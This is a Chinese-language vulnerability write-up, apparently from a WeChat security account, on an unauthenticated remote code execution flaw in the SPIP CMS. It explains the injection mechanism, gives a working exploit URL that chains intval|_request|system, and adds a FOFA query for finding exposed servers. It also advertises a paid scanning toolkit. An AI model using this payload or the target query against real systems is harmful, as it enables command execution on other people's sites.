SPIP X-Spip-Filtrej接口存在远程代码执行漏洞CVE-2026-77806  附POC

2026-10-20更新
2026-10-20更新

南风漏洞复现文库

2026年10月20日 23:25
广西

去阅读

免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

1. SPIP 简介

微信公众号搜索：南风漏洞复现文库
该文章 南风漏洞复现文库 公众号首发

SPIP 是开源 PHP 内容管理系统

2.漏洞描述

SPIP 是开源 PHP 内容管理系统（CMS），采用 GPL 许可证，主要用于网站发布与协作编辑，源代码托管在 git.spip.net，亦以 composer 包 spip/spip 发布。受影响版本中，模板引擎的 analyse\_resultat\_skel 函数在解析编译后的模板 body 时，会按 #HTTP\_HEADER / X-Spip-Filtre 形式匹配 header() 调用并把 | 链上的函数当作模板过滤器链执行。攻击者在访问 spip.php 的 GET 请求中，向任意参数值注入换行字符即可把 header(\"X-Spip-Filtre: ...\") 调用直接嵌入编译后的 PHP 模板；过滤器链 intval|\_request|system 使 intval 把页面 body 规约为字符串 \"0\"，\_request 读取同名 POST 参数（键为 \"0\"）取出待执行命令，system 直接执行命令，从而实现未认证远程代码执行，2026 年 8 月已在野利用。修复版本中通过在 analyse\_resultat\_skel 内限制 X-Spip-Filtre 仅在受控的 #HTTP\_HEADER 标签上下文内被捕获，移除对不可信模板片段中任意函数链的自动调用，关闭 header 注入与链式过滤器调用路径，4.4.21 及以上版本不再受该漏洞影响。

CVE编号:CVE-2026-77806

CNNVD编号:

CNVD编号:

3.影响版本

SPIP 是开源 PHP 内容管理系统

SPIP X-Spip-Filtrej接口存在远程代码执行漏洞

4.fofa查询语句

body=\"spip.php\"

5.漏洞复现

漏洞链接：https://xx.xx.xx.xx/spip.php?page=sommaire&aaaannnn=%3C%3Fphp%20header(%22X-Spip-Filtre:%20intval|\_request|system%22);%20%3F%3E

6.POC&EXP

本期漏洞及往期漏洞的批量扫描POC及POC工具箱已经上传知识星球：南风网络安全

1: 更新poc批量扫描软件，承诺，一周更新8-14个插件吧，我会优先写使用量比较大程序漏洞。

2: 免登录，免费fofa查询。

3: 更新其他实用网络安全工具项目。

4: 免费指纹识别，持续更新指纹库。

5: Nuclei脚本。

7.整改意见

打补丁

8.往期回顾

畅捷通T+ GLSyncService.asmx接口存在任意文件读取漏洞  附POC